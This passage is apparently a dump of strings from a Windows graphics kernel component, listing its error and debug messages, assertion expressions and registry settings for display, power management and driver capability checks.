0) && (pPathDescriptor->DwmClipBox.right > pPathDescriptor->DwmClipBox.left) && (pPathDescriptor->DwmClipBox.bottom > pPathDescriptor->DwmClipBox.top) Unable to pin scaling transformation 0x%I64x on present path (0x%I64x,0x%I64x) (status = 0x%I64x) Unable to allocate QDC diagnostics packet (SizeOfQDCPacket = 0x%I64x) Cannot find the session data for session 0x%I64x, returning 0x%I64x. Failed to allocate PathModality for 0x%I64x paths Specified path (0x%I64x, 0x%I64x) does not exist in topology 0x%I64x %02x DmmGetSourceConnectedToTargetInClientVidPn() failed on adapter:0x%I64x%08I64x target:0x%I64x (Status = 0x%I64x). Potentinal Deadlock code path, Please contact basevid Failed to check monitor connection to target 0x%I64x on adapter (0x%I64x%08I64x), returning 0x%I64x. Failed (0x%I64x) to get display config buffer sizes when looking for internal target/priority. Trying with %d Display manager object 0x%I64x was not a source object. Could not find SourceID for TargetId 0x%I64x on adapter 0x%I64x! Failed to open display manager source object with handle 0x%I64x Flags (0x%I64x) doesn't have one of the necessary values Failed to create copy of the client VidPN from last-client committed vidpn. (Status = 0x%I64x, pVidPnMgr = 0x%I64x, m_pTopology = 0x%I64x, i_pAdapter->GetLuid() = 0x%I64x%08I64x) Failed to get the attached target from VidPn source 0x%I64x on adapter (0x%I64x%08I64x), returning 0x%I64x. Failed to copy mode buffer into user-mode pAdapter IsDisplayAdapter() pDisplayAdapter->IsRenderAdapter() Failed to get bound render adapter from Adapter 0x%I64x VidPn source ID 0x%I64x in DxgkCddWaitForVerticalBlankEvent (ntStatus = 0x%I64x). DxgkCddWaitForVerticalBlankEvent failed to enable VSync 0x%I64x DXGALLOCATION 0x%p device does not match DXGPAGINGQUEUE 0x%p device !m_pGlobal->IsSyncObjectLockSharedOwner() || bAllowRecursiveSharedLock IsCoreResourceSharedOwner() 0x%I64x from 0x%I64x due to multiplication overflow 0x%I64d x 0x%I64d 0x%I64x fails to allocate memory of size 0x%I64x for VisRgnData 0x%I64x unable to get VisRgn with hWindow=0x%I64x hdc = 0x%I64x hDev = 0x%I64x PresentFlags = 0x%I64x GetDisplayAdapter(VidPnSourceId)->IsDisplayAdapter() pDisplayCore->IsCoreResourceSharedOwner() (pDevice->GetDisplayAdapter(VidPnSourceId) != NULL) && pDevice->GetDisplayAdapter(VidPnSourceId)->IsDisplayAdapter() Failed to find adapter from LUID 0x%I64x%08I64x, returning 0x%I64x. Unable to get copy of most recent topology. (NtStatus = 0x%I64x, i_AdapterLuid = 0x%I64x%08I64x, i_IncomingTargetId = 0x%I64x, i_MonitorEvent = 0x%I64x) pBroadcastDxgHwQueue[0]->GetRenderCore()->IsCoreResourceSharedOwner() 0x%I64x failed to signal SyncObject 0x%I64x at index %I64d returning 0x%I64x 0x%p sync object adapter state is destroyed, thus it cannot be signaled. 0x%I64x failed, failed to create a sync object on logical adapter 0x%I64x returning 0x%I64x The same sync object handle is passed twice 0x%I64x failed to signal with invalid hSyncObject 0x%I64x at index %I64d returning 0x%I64x hHwQueue 0x%I64x failed to signal with invalid broadcast queue 0x%I64x at index %I64d returning 0x%I64x 0x%I64x object is opened with NoSignal flag and thus cannot be signaled. 0x%I64x Invalid hDevice=0x%I64x specified DXGPROCESS=0x%I64x Invalid allocation is passed to DxgkCddDestroyAllocation. DXGADAPTER 0x%I64x DXGDEVICE 0x%I64x DXGALLOCATION 0x%I64x 0x%I64x Unexpected process 0x%I64x Out of memory allocating DXGCONTEXT class, returning 0x%I64x NoKmdAccess and TestContext can be used only with testsigning Index < m_TableSize Pinning DirectFlip resources may not specify a paging queue Out of memory allocating DXGPROCESSSHAREDACCESS class, returning 0x%I64x Cannot share object: Shared sync object 0x%I64x does not use NT security sharing. Returning 0x%I64x. Invalid DXG proces, returning 0x%I64x Count <= _countof(Objects) !IsCoreResourceSharedOwner() Invalid object array in ADAPTER_DISPLAY::WaitForEventsOrVerticalBlankEvent, returning 0x%I64x GetRenderCore()->IsCoreResourceSharedOwner() (pKMTCreateAllocation->NumAllocations == 1) && (pDriverAllocations[i].Flags.DoDPrimary) && (pCreateStandardAllocation != NULL) && (pCreateStandardAllocation->pfnAllocateSysMem != NULL) Cannot create section object for DoD primary backing store. Section object or SystemMem is not supplied for a cross adapter allocation. Device 0x%I64x: Can not create StandardAllocation from UserMode and Kernel simultaneously, returning 0x%I64x Couldn't allocate MEMORY_BASIC_INFORMATION. Invalid shared object handle: 0x%I64x DXGADAPTERSYNCOBJECT::SignalFence failed. Status: %I64x No memory for the new Present History Token queue on ADAPTER_RENDER 0x%I64x for session 0x%I64x DXGCONTEXT 0x%p DxgkRender is not supported with hardware scheduling. DxgkRender cannot be called on a virtual context. pContext=0x%p NULL pointer in pVidSchContext or other required pointer, returning 0x%I64x VidPnSourceId < m_NumVidPnSources Out of memory allocating pPropertyData of size 0x%I64x, returning 0x%I64x Invalid propertydata size specified for D3DKMT_PROPERTIES_TYPE %d, returning 0x%I64x Invalid D3DKMT_PROPERTIES_TYPE, returning 0x%I64x DXGPROCESS (0x%I64x) failed to allocate m_ppAdapterInfo DXGPROCESS (0x%I64x) failed to allocate m_pVidMmProcess DXGPROCESS (0x%I64x) failed to allocate m_pNonPagedData->m_ProcessName DXGPROCESS (0x%I64x) failed to allocate m_pVidSchProcess DXGPROCESS (0x%I64x) failed to allocate m_pCsStartRunningTime Unknown type for present history token is found in queue. FALSE Failed to allocate memory for present dirty rects data pAdapter && pAdapter->IsRenderAdapter() hFlipAwayFence is not supported for disabling plane (0x%I64x), returning 0x%I64x Invalid rotation (0x%I64x) specified Failed to find the real target ID from Adapter LUID (0x%I64x, 0x%I64x) target ID 0x%I64x, returning 0x%I64x DxgkGetMonitorDeviceObject is called on the non-display adapter 0x%I64x, returning 0x%I64x. Failed to acquire shared access on adapter luid (0x%I64x::0x%I64x) with status (0x%I64x) Caller specified adapter 0x%I64x%08I64x is not a display adapter, returning 0x%I64x Could not find existing entry for adapter luid 0x%lx, 0x%lx FindEntry called with invalid start table size (0x%lx), table size is only %lx) Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkIsAdapterVirtualTopologyEnabled function. Failed to get connected monitor from adapter 0x%I64x%08I64x target 0x%I64x (Status = 0x%I64x). Current session 0x%I64x does not have DXGPROCESS for CSRSS.exe, returning 0x%I64x. DxgkEnumAdapters3 caller specified an invalid filter 0x%I64x, returning 0x%I64x Failed to allocate memory for D3DKMT_ADAPTERINFO buffer, returning 0x%I64x DxgkEnumAdapters caller specified NULL D3DKMT_ENUMADAPTERS, returning 0x%I64x Cannot find the caller specified session adapter 0x%I64x%08I64x, returning 0x%I64x. GetDeviceExecutionState failed for device 0x%I64x, unable to determine if the device is in device removed state Failed to acquire device lock on adapter 0x%I64x%08I64x (Status = 0x%I64x) Adapter 0x%I64x%08I64x is NOT being used in session 0x%I64x, returning 0x%I64x. Failed to acquire the lock shared on DXGADAPTER 0x%I64x%08I64x, returning 0x%I64x. Failed to get current DXGPROCESS DxgkDisplayOnOff is not called from console session (Current DXGPROCESS 0x%I64x). The VidPnSourceId 0x%I64x caller specified does not exit on DXGADAPTER 0x%I64x%08I64x, returning 0x%I64x. Failed to find session view from caller specified VidPn source 0x%I64x on Adapter 0x%I64x%08I64x. Failed to acquire session mode change lock exclusively (Status = 0x%I64x) Failed to take owner on VidPnSourceId 0x%I64x from DXGADAPTER 0x%I64x%08I64x, returning 0x%I64x. Status=0x%I64x QueryDxgDmmInterface failed hAdapter=0x%I64x pAdapter=0x%I64x VidPnSourceId=0x%I64x Calling MakeResident on a device that was not created with the UMD residency flag. Device=0x%p Interface mismatch between Win32k (0x%I64x, 0x%I64x) and Dxgkrnl (0x%I64x, 0x%I64x). Failed to get CDD device and context for current session (Status = 0x%I64x). Invalid paramters, returning 0x%I64x. Device 0x%I64x: No NT Object or global handle specified. Returning 0x%I64x Device 0x%I64x: Caller passed NULL for both the NT object and the global shared handle. Returning 0x%I64x Device 0x%I64x: Failed to find size of PrivateDriverData buffers, returning 0x%I64x Device 0x%I64x: Driver fialed to generate pPrivateDriverData buffer, returning 0x%I64x AllocationPrivateDriverDataSize or ResourcePrivateDriverDataSize is invalid Device 0x%I64x: created standard allocation but the allocation handle (0x%I64x) lookup failed!, returning 0x%I64x DefaultIdleThresholdIdle0MonitorOff DefaultLatencyToleranceOther MonitorRefreshLatencyTolerance DefaultLatencyToleranceIdle0 DefaultLatencyToleranceNoContextMonitorOff DefaultActiveIdleThreshold MonitorLatencyTolerance DefaultMemoryRefreshLatencyToleranceIdleShortTime EnablePODebounce DefaultD3TransitionLatencyIdleLongTime DefaultLatencyToleranceNoContext uideal DefaultD3TransitionIdleShortTimeThreshold DefaultMemoryRefreshLatencyToleranceActivelyUsed DefaultExpectedResidency GraphicsDrivers\Power DefaultMemoryRefreshLatencyToleranceMonitorOff ulow DefaultLatencyToleranceMemory DefaultLatencyToleranceIdle1MonitorOff DisableDevicePowerRequired DefaultD3TransitionIdleLongTimeThreshold DefaultLatencyToleranceIdle1 uglitch DefaultD3TransitionLatencyIdleVeryLongTime DefaultD3TransitionLatencyIdleShortTime DefaultLatencyToleranceTimerPeriod EnableRuntimePowerManagement DefaultD3TransitionIdleVeryLongTimeThreshold UseSelfRefreshVRAMInS3 DefaultIdleThresholdIdle0 uhigh DefaultD3TransitionLatencyIdleNoContext DefaultPowerNotRequiredTimeout DefaultD3TransitionLatencyIdleMonitorOff lowdebounce DefaultD3TransitionLatencyActivelyUsed DefaultLatencyToleranceIdle0MonitorOff DisablePStateManagement DefaultMemoryRefreshLatencyToleranceNoContext DefaultLatencyToleranceMemoryNoContext TransitionLatency and ResidencyRequirement must be zero for the F0 state. Component:0x%I64x Failed to allocate memory for present private driver data Failed to determine number of paths originating from source 0x%I64x in topology 0x%I64x (status = 0x%I64x) Failed in adapter ptr to query driver Ccd support, returnign on support (0x%I64x::0x%I64x). An invalid path was passed to DxgkConvertDisplayConfigToDevMode, missing required flags. Failed to ensure unpinned paths from source 0x%I64x of adapter 0x%I64x (status = 0x%I64x) Failed to convert paths from source 0x%I64x to target 0x%I64x in VidPn topology 0x%I64x to PathsModality (status = 0x%I64x) Failed to unpin modality of %I64d present path(s) originating from source 0x%I64x in VidPN 0x%I64x of adapter 0x%I64x (status = 0x%I64x) Failed call to create copy of the last VidPN committed by the client for adapter 0x%I64x (status = 0x%I64x) Failed to enumerate target of %I64d'th path originating from source 0x%I64x (status = 0x%I64x) Failed to acquire topology of the VidPN 0x%I64x (status = 0x%I64x) Failed to allocate session view for rect (%d, %d, %d, %d) in session 0x%I64x. VidPn source 0x%I64x from adapter 0x%I64x%08I64x is not owned by session 0x%I64x, returning 0x%I64x. VidPn source 0x%I64x from adapter 0x%I64x%08I64x is not owned by session 0x%I64x (returning 0x%I64x). m_DisplayCore->IsCoreResourceSharedOwner() AllowUnspecifiedVSync EnableExperimentalRefreshRates AllowUnspecifiedHSync RapidHPDThresholdCount ForceDualViewBehavior RapidHPDTime AllowUnspecifiedPixelRate GraphicsDrivers\DMM ModeListCaching EnableVirtualRefreshRateOnExternalMonitor Invalid link training timeout registry value (0x%I64x, 0x%I64x) on adapter 0x%I64x, fallback to the default value. HPDFilterLimit SetTimingsFlags ShortLinkTrainingTimeout LongLinkTrainingTimeout Force to stop DWM clone supported adapter (0x%I64x%08I64x) due to target ID does not support DWM clone, returning 0x%I64x. NeedToSuspendVidSchBeforeSetGammaRamp ViewDistanceOverride PreferredScaleFactor HardwareInformation.AdapterString HardwareInformation.BiosString HardwareInformation.DacType Invalid parameter ppOutputDuplMgr = 0x%I64x. Invalid process context Clock calibration cannot be queried if the driver does nto support it. Session 0x%I64x does not have session data, returning 0x%I64x. PnP notification event is not created for session 0x%I64x, returning 0x%I64x. m_hWindowDc == NULL && m_hFullscreenDc == NULL && m_hDevLocked == NULL !m_pAdapter->IsCoreResourceSharedOwner() Failed to grow present history buffer, returning 0x%I64x 0x%I64x fails to allocate array of 0x%I64d RECTs CheckMultiPlaneOverlaySupport3 multi plane overlay plane count (0x%I64x) is invalid, returing 0x%I64x at 0x%I64x pVidSchProcess (pRenderAdapter != NULL) && (pRenderAdapter->IsRenderAdapter()) (pDisplayAdapter == NULL) || (pDisplayAdapter->IsDisplayAdapter()) Driver returned error (0x%I64x) from GetMultiPlaneOverlayCaps: Adapter (0x%I64x), VidPnSourceId (0x%I64x) Failed to get pairing adapters from adapter 0x%I64x VidPn source 0x%I64x! Driver returned error (0x%I64x) from GetPostCompositionCaps: Adapter (0x%I64x), VidPnSourceId (0x%I64x) pCallbackContext->VidPnSourceId == D3DDDI_ID_UNINITIALIZED (pQueue->HeadIndex != CONFIG_INDEX_INVALID) || (pQueue->TailIndex == CONFIG_INDEX_INVALID) Caller specified 0x%I64x deferred list size, this is over the maximum %s%s \Device\RESOURCE_HUB\ %0*I64x 0x%I64x Invalid Dirty Rect [0x%I64x 0x%I64x 0x%I64x 0x%I64x] 0x%I64x Invalid Dest Rect [0x%I64x 0x%I64x 0x%I64x 0x%I64x] in Move Rect m_pEntryTable[GetIndex(hObject)].Destroyed Failed to reference adapter by LUID (0x%I64x%08I64x) in DxgkGetVirtualRefreshRateInfo function, returning 0x%I64x. Caller specified adapter 0x%I64x is not a display adapter in DxgkGetVirtualRefreshRateInfo function, returning 0x%I64x. Adapter 0x%I64x does not have caller specified VidPn source Id 0x%I64x in DxgkGetVirtualRefreshRateInfo function, returning 0x%I64x. 0123456789ABCDEF Calling Evict on a device that was not created with the UMD residency flag. Device=0x%p Process pointer shape failed in vidpn: 0x%I64x, idx: 0x%I64x, status: 0x%I64x Device 0x%I64x: Failed memory allocation Setting current DXGPROCESS failed Invalid process handle specified: 0x%I64x Invalid packet size: %I64n !m_NtSecuritySharing || m_NtObjectRefCount == 0 \Systemroot\System32\ .DLL \??\ Size < UmdDriverName.MaximumLength pClipParams->ExtraPixelsRightMono == 0 pClipParams->ExtraPixelsLeftMono == 0 Driver private driver escape called with a buffer that is too small, failing the escape request. Failed to allocate path or mode arrays for cache Paths being added is different to valid cached one Failed to reference adapter by LUID (0x%I64x%08I64x). D3DKMTGetCachedHybridQueryValue called with a display-only adapter with LUID (0x%I64x%08I64x). m_pDisplayAdapter->IsDisplayAdapter() GetDevice()->IsDeviceLockExclusiveOwner() NtDxgkEnumProcesses: Invalid Adapter (0x%I64x-0x%I64x) specified Current process 0x%I64x does not have DXGPROCESS. Invalid sync object handle: 0x%I64x Failed to create NT handle for display manager object (0x%I64x) Failed to allocate memory for DXGDISPLAYMANAGEROBJECT Failed to create NT object for display manager (0x%I64x) Queue Init function not called or failed 0x%I64x Invalid DXGCDD_INTERFACE Mismatch 0x%I64x 0x%I64x version 0x%I64x 0x%I64x Invalid process context. Couldn't allocate buffer of size 0x%I64x for pointer shape kernel mode buffer Failed to allocate Pasid array Failed to acquire source mode set on source 0x%I64x of VidPN 0x%I64x (status = 0x%I64x) DxgkQueryMonitorTypeLockHeld is called on a render only adapter. (pAdapter = 0x%I64x, VidPn target Id = 0x%I64x) Failed to acquire target mode set of target 0x%I64x in VidPN 0x%I64x (status = 0x%I64x) DxgkQueryMonitorTypeLockHeld is called with D3DDDI_ID_UNINITIALIZED (pAdapter = 0x%I64x) Fail to find virtualization state on VidPn Target 0x%I64x adapter 0x%I64x Failed to allocate DXGTARGETENTRY DispMgr object called after being invalidated. Failed to assigned display manager object to target 0x%I64x on adapter 0x%I64x-%I64x DxgkWaitForMonitorEventDoneInternal is called on a render only adapter 0x%I64x, returning 0x%I64x! Failed in acquiring monitor pending event (Status == 0x%I64x)! Unable to pin rotation transformation 0x%I64x on present path (0x%I64x,0x%I64x) (status = 0x%I64x) Failed to grow device primary allocation array to %d entries DmmIsSourcePresentedOnClientVidPnUsedByFirmware failed on adapter 0x%I64x (SourceId = 0x%I64x Status = 0x%I64x) Caller specified invalid VidPN source ID 0x%I64x (only %I64d are supported) PinFrameBufferForSave CommitSize (%I64u) is not a multiple of PAGE_SIZE Frame buffer save area already pinned for PhysicalAdapterIndex %u. PinFrameBufferForSave cannot be called again without first calling Unpin. GetAdapter()->IsDisplayOnlyAdapter() Failed to acquire next target mode info on target mode set 0x%I64x (Status = 0x%I64x). Failed to acquire next source mode info from source mode set 0x%I64x (Status = 0x%I64x). Multiple display callout batches have been started on adapter 0x%I64x, returning 0x%I64x. The adapter is already closed by the guest Out of memory allocating DXGKEYEDMUTEX class, returning 0x%I64x KeyedMutex 0x%I64x: Unable to create keyed mutex handle, returning 0x%I64x unexpected process 0x%I64x, returning 0x%I64x (m_bCsrssProcess && pDevice->IsCddDevice()) || (!m_bCsrssProcess && !pDevice->IsCddDevice()) MODES ModeX Failed to allocate per-adapter array memory in PollDisplayChildrenAll 0x%I64x 0x%I64x encountered exception NtDxgkCancelPresents is not currently supported on para-v adapter: 0x%I64x Presentation is not supported on MCDM DXGADAPTER: 0x%I64x DXGADAPTER: 0x%I64x stopped, returning 0x%I64x Invalid cbSize:0x%I64x specified. Expected cbsize:0x%I64x. Returning:0x%I64x Invalid DXGPROCESS. Returning 0x%I64x Invalid DXGKARG_SETPOINTERPOSITION passed in DxgkWin32kSetPointerPosition function: Adapter LUID: (0x%I64x%08I64x) VidpnSourceId: (0x%I64x). NT_SUCCESS(_Status) Recent Internal eXtend Out of memory - could not initialize context array lock exclusive. LogMonitorOnOffState failed _GetMonitorFromHandle GetAdapter()->IsGpuMmuSupported() IDConfigDB\CurrentDockInfo DockingState Call DxgkReleaseAdapterOpmI2CSync on render only DXGADAPTER 0x%I64x, returning 0x%I64x. MiracastForceDisable MiracastUseIhvDriver GraphicsDrivers The selected adapter is display only adapter DxgkDisplayConfigDeviceInfo called with invalid size for (type = 0x%I64x) Failed to acquire session mode change shared lock (Status = 0x%I64x) Try to call DxgkOpmTranslateHandle on a render only adapter 0x%I64x (Status = 0x%I64x)! IsEmpty() pDevice->IsFullWDDMDevice(VidPnSourceId) %d %d %d DxgkDdiGetVendorAndDevice Invalid virtual GPU index: %I64n DxgkDdiReadVirtualFunctionConfig (VF, Offset, Length) %d %d %d Failed to acquire info of mode pinned in VidPN target mode set 0x%I64x (status = 0x%I64x) ((FALSE == m_u.s.bStateSaved) && (FALSE == m_u.s.bWin32kLocked) && (FALSE == m_u.s.bDwmStateAndPDevLocked)) IsListEmpty(&m_KeyedMutexWaiterList) Called DxgkSetKernelDisplayPolicy without session data in session 0x%I64x Caller specified adapter 0x%I64x%08I64x is NOT a display adapter, returning 0x%I64x. Caller specified VidPn source 0x%I64x exceeds the MAX VidPn source on adapter 0x%I64x%08I64x, returning 0x%I64x. Failed to get bound render adapter from Adapter 0x%I64x VidPn source ID 0x%I64x in DxgkCddSetOrigin (ntStatus = 0x%I64x). An auto_rc must be empty before calling put() \Registry\Machine\Software\Microsoft\PolicyManager\current\Experience AllowScreenCapture RenderAdapterRef != NULL Cannot find the session manager, status 0x%I64x. WdDbgReportCreate failed Failed to allocate new TTM device for target 0x%I64x on adapter 0x%I64x. Failed to queue a Serialized work item to create TTM device for target 0x%I64x on adapter 0x%I64x, (Status = 0x%I64x). Failed to allocate serialized work item entry, returning 0x%I64x. Cannot allocate memory for teardown event structure Failed to allocate memory for monitor event callout. DdiEndLiveMigration failed. Status: 0x%I64x KMD should not reserve GPU VA for the VM worker process Failed in calling DmmEnumClientVidPnPathTargetsFromSource for adapter luid (0x%I64x::0x%I64x) and source (0x%I64x) with status (0x%I64x) Can't reference adapter by luid (0x%I64x::0x%I64x). (OLD_MODE_CHANGE & Win32kCommand) == 0 Display-Specialized-Displays-Enabled *PNP09FF Unable to allocate new dxg session data array of size 0x%I64x Failed to validate the ALCP port of display broker in session 0x%I64x (Status = 0x%I64x) %s\BaseNamedObjects\DispBrokerPort %s\Windows\DispBrokerPort Failed to build the display broker ALPC port object path (Status = 0x%I64x). Failed to connect the display broker ALPC port for session 0x%I64x (Status = 0x%I64x). Timeout to connect display broker ALPC port, returning 0x%I64x. \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\MonitorDataStore Failed call to DXGDMM_VIDPN_INTERFACE::pfnAcquireSourceModeSet. (status = 0x%I64x) Failed call to DXGDMM_VIDPN_INTERFACE::pfnAcquirePinnedModeInfo. (status = 0x%I64x) Failed call to determine source resolution due to invalid type. (Type = 0x%I64x) Failed to get dirty rects from region Failed to open DispMgr handle with status = 0x%I64x Invalid use of reserve, returning 0x%I64x Failed to allocate VM bus message. Size: 0xI64x ClonedByDefault \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\MultiScreen Failed call to DXGDMM_VIDPN_INTERFACE::pfnAcquireTargetModeSet. (status = 0x%I64x) Invalid history buffer array Failed to reference handle 0x%I64x Failed to create Dxgi Keyed Mutex list for VidPn source 0x%I64x. UserPreferenceWidth \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Control Panel\Theme (UINT)idx < pScaleFactorCollection->NumFactors SESSION_ADAPTER is created on an invalid adapter LUID 0x%I64x%08I64x, returning 0x%I64x. Failed to open keyed mutex (0x%I64x), returning 0x%I64x Invalid shared vm object handle: 0x%I64x Adapter 0x%I64x has been stopped, returning 0x%I64x. Unable to obtain DXGGLOBAL Diagnosibility buffer; i_pHeader = 0x%I64x, DXGGLOBAL::m_pDxgGlobal = 0x%I64x User mode packet size of 0x%I64x is bigger than max allowed (0x%I64x) Unable to obtain DXGGLOBAL singleton; pKmHeader = 0x%I64x VideoID Out of memory allocating VIDSCH_CROSS_ADAPTER_SYNC_OBJECT_INFO class, returning 0x%I64x Trying to adjust VidPn ownership count down by %d but only %d to remove Adapter 0x%I64x: Incorrect number of outputs 0x%I64x SIMULATED Caller specified NULL pContext to CSERIALIZEDWORKQUEUE::SerializedQueueWorker. Caller specified NULL pointer to DxgkGetWddmRemoteSessionGdiViewRange, returning 0x%I64x. BLTQUEUE 0x%I64x : ExAllocateTimerFailed() failed for high res timer. A BLTQUEUE must have a pointer to the DoDPresent if HW Vsync is used OutputDuplicationSessionApplicationLimit Invalid packet size GetAdapter()->IsDisplayAdapter() Failed allocating workitem to unsubscribe the WNF callback. ExternalBrightnessEnabled \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers UnsupportedMonitorModesAllowed Invalid VidPnSourceId:%u. Should be less than :%u BAD_EDID EDID Failed to reconfigure the OUTPUTDUPL_MGR_INDIRECT (0xI64x) for a new render adapter. An attempt was made to register the DWM process for a process that has no DXGPROCESS \Device\RemoteVideo \Device\Video Failed to allocate buffer for Triage Dump Callback lIS_FDO(FdoContext) Cdd specified an invalid CDD_DEVMODE in DxgkCddVerifyCddDevMode. Try to call DxgkOpmTranslateAndDestroyHandle on a render only adapter 0x%I64x (Status = 0x%I64x)! \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers\FeatureSetUsage DisplayMultiMon AdapterMPO_1 AdapterMPO_2 AdapterMPO_3 DisplayHDR DisplayWCG MultiAdapter MultiAdapter_SLI MultiAdapter_Crossfire MSHybrid WddmVersion_Min WddmVersion_Max PseudospecializedDisplay Caller specified a NULL pointer to DxgkAdapter LUID in DxgkQueryModeListCacheLuid function. ForceDmaRemapping IdentityMappedPassthrough ForceEnableIommu EnablePageTracking LogicalAddressMode DebugMode PreferHighLogicalAddresses GraphicsDrivers\Smm Presentation is disabled (m_NumDisplaySources == 0) && (IsListEmpty(&m_DisplaySourceListHead)) Failed to get DXGPROCESS for current CSRSS process 0x%I64x, returning 0x%I64x. GPU virtualization initialization has completed with status %1 DDI-VIOLATION: Miniport reported more functional VidPN modalities than in the previous mode enumeration performed under the same shared adapter access! Paging queue must be present Failed to find owned target 0x%I64x on adapter 0x%I64x-%I64x NumAllocations is invalid Failing CheckAndUpdateMultiPlaneOverlayFromInternalState because allocation is NULL, VidPnSourceId: (0x%I64x), Plane: (0x%I64x) Only and atleast one of HwQueue or Context must be specified Failed to allocate memory for dispaly switch callout. B8%x CommandLength is invalid \GPUPARAV (pDeviceObject != nullptr) && (PnPTransitionToken != nullptr) && (pAdapterCaps != nullptr) && (pAdapterDisplayCaps != nullptr) PrivateDriverDataSize is invalid TdrTestMode BDD Fallback not found! Kernel-OneCore-DeviceFamilyID Caller specified display source 0x%I64x is owned by other session view, returning 0x%I64x. Packet overflow: 0x%I64x 0x%I64x GetVirtualMonitorInfo called on non-virtual adapter 0x%I64x, returning Status 0x%I64x Invalid allocation info. Alignment: %d DriverSegmentId %d Size 0x%I64x pScaleFactorCollection != nullptr PoRegisterPowerSettingCallback failed with status:0x%I64x Hardware content protection teardown notification failed Can't allocate memory to hold IO work item. UnblockUEFIFrameBufferRanges: NumUEFIFrameBufferRanges must be 1, but 0x%08X Can't allocate memory to hold IO work item data. pProcess != NULL Invalid synchronization level 0x%I64x !IsTdrPending() Invalid synchronization action level 0x%I64x !ExIsResourceAcquiredSharedLite(m_pCoreResource) pProcess this->GetRenderCore()->m_bSchedulerSuspendedByAcquireCoreResource == FALSE NT_SUCCESS(SchedulerStatus) ExIsResourceAcquiredSharedLite(m_pCoreResource) NULL == m_pWorkerThreadOfExclusiveOwner[0] CABCOption DisableCABC \DxgkSettings DdiQueryAdapterInfo failed. Adapter: 0x%p Status: 0x%I64x Miniport returned invalid number of power components:0x%I64x Adapter 0x%I64x: Out of memory allocating m_pPowerComponents Adapter 0x%I64x: Out of memory allocating pRegistrationInfo Miniport failed QueryAdapterInfo(DXGKQAITYPE_POWERCOMPONENTINFO). Component: 0x%I64x, Status: 0x%I64x Miniport returned invalid number of F states for component:0x%I64x 0x%I64x Reserved flags are not zero. Component:0x%I64x Power component ActiveInD3 flag can only be used with DXGK_POWER_COMPONENT_MEMORY and DXGK_POWER_COMPONENT_SHARED. Component:0x%I64x F state count must be 2 when the ActiveInD3 flag is set. Component:0x%I64x TransitionLatency for the F1 state must be 0 when the ActiveInD3 flag is set. Component:0x%I64x Provider count must be 0 when the ActiveInD3 flag is set. Component:0x%I64x Invalid component ProviderCount. Component:0x%I64x F state count for the DXGK_POWER_COMPONENT_D3_TRANSITION component must be 1 or 2. Component:0x%I64x DXGK_POWER_COMPONENT_MEMORY_REFRESH component is defined second time. Component:0x%I64x NominalPower must not be zero for the F0 state. Component:0x%I64x NominalPower must be decreasing for higher F states. Component:0x%I64x TransitionLatency must be increasing for higher F states. Component:0x%I64x P-State engine regkey validation error - low: 0x%I64x high: 0x%I64x glitch: 0x%I64x ideal: 0x%I64x Adapter 0x%I64x: Out of memory allocating m_NodePStateData P-State StateCount cannot be larger than DXGK_MAX_P_STATES. Component:0x%I64x P-State cannot specify 0 operating frequency. Component:0x%I64x, P-State:0x%I64x P-States must have monotonically decreasing operating frequency. Component:0x%I64x, P-State1:0x%I64x, P-State2:0x%I64x InitializePowerManagement failed for render adapter:0x%I64x InitializePowerManagement failed for display adapter:0x%I64x PoFxRegisterDevice failed with status:0x%I64x InitializePowerManagement failed to create worker thread for display adapter:0x%I64x Port power management enable failed:0x%I64x \Registry\Machine\SOFTWARE\Microsoft\Windows\DWM HighColor Unexpected error 0x%I64x from DdiControlModeBehavior PhoneSOCVersion \Registry\Machine\System\Platform\DeviceTargetingInfo 8992 8994 Miniport returned unknown/unsupported driver version 0x%I64x KMTQAITYPE_PHYSICALADAPTERCOUNT failed: 0x%I64x KMTQAITYPE_PHYSICALADAPTERDEVICEIDS failed: 0x%I64x Status:0x%I64x Reason: 0x%I64x KeGetCurrentIrql() == PASSIVE_LEVEL ZwAllocateLocallyUniqueId failed InitializeParavirtualizedAdapter failed: 0x%I64x Exceeded the maximum number of sessionized adapter in session 0x%I64x, returning 0x%I64x. !(IsSoftGPU() && IsWarpAdapter()) Miniport did not provide required DDIs Cannot load an M1 threshold driver on later builds. Miniport failed DdiQueryAdapterInfo(DXGKQAITYPE_DRIVERCAPS) with status 0x%I64x Miniport returned incorrect WDDMVersion: 0x%I64x MiscCaps.ComputeOnly is not set, but the device belongs to the ComputeAccelerator class UMD name is missing and device is not compute only ACGSupported Failed to allocate DXGK_PHYSICALADAPTERINFO Adapter 0x%I64x: VirtualCopyEngineSupported but node index is invalid (VirtualCopyIndex:%u, NumExecutionNodes:%u) Adapter 0x%I64x: IoMmuSecureModeRequired must be set for a device exposing a virtual copy engine DxgkGpuVaIommuRequired DxgkGpuVaIommuGlobalSupported Adapter 0x%I64x: GpuVaIommuRequired is set for a physical adapter, but not in IOMMU_CAPS Adapter 0x%I64x: GpuVaIommuGlobalRequired is set for a physical adapter, but not in IOMMU_CAPS Adapter 0x%I64x: Exceeded maximum number of %I64d nodes on pre-WDDM 2.5 adapter. Total node count: %I64d Adapter 0x%I64x: SchedulingCaps.MultiEngineAware is not set by WDDMv2 driver Failed to query frame buffer save area size. Status 0x%I64x Frame buffer reserve size must be a multiple of PAGE_SIZE. Size=%I64u Driver should not set MiscCaps.Reserved bits Driver sets IndependentVidPnVSyncControl cap but does not support DxgkDdiControlInterrupt3, returning failure Miniport returned unknown WDDM version 0x%I64x Driver reports WDDM version less than 1.2 but implements some WDDM 1.2 features. Driver reports WDDM version less than 1.3 but implements some WDDM 1.3 features. Pre-WDDM 2.0 driver should not set the HybridIntegrated cap. Driver reports CrossAdapterResourceScanout but does not report lower tier support. Driver reports CrossAdapterResourceTexture but does not report lower tier support. Driver reports device 0x%I64x is hybrid discrete device but it has VidPn source and target. Driver reports device 0x%I64x as hybrid device but does not support cross adapter resource. Driver reports both HybridIntegrated and HybridDiscrete caps 0x%I64x Driver reports the HybridIntegrated cap, but the adapter has no outputs. 0x%I64x Driver reports SupportPerEngineTDR cap but does not fill in all of the required DDIs. Driver reports SupportKernelModeCommandBuffer cap but does not fill in the pfnRenderKm DDI. Driver reports SupportRuntimePowerManagement cap but does not fill in the pfnSetPowerComponentFState or pfnPowerRuntimeControlRequest DDI. Driver reports SupportMultiPlaneOverlay cap but it is not compiled with expected header files. Driver reports 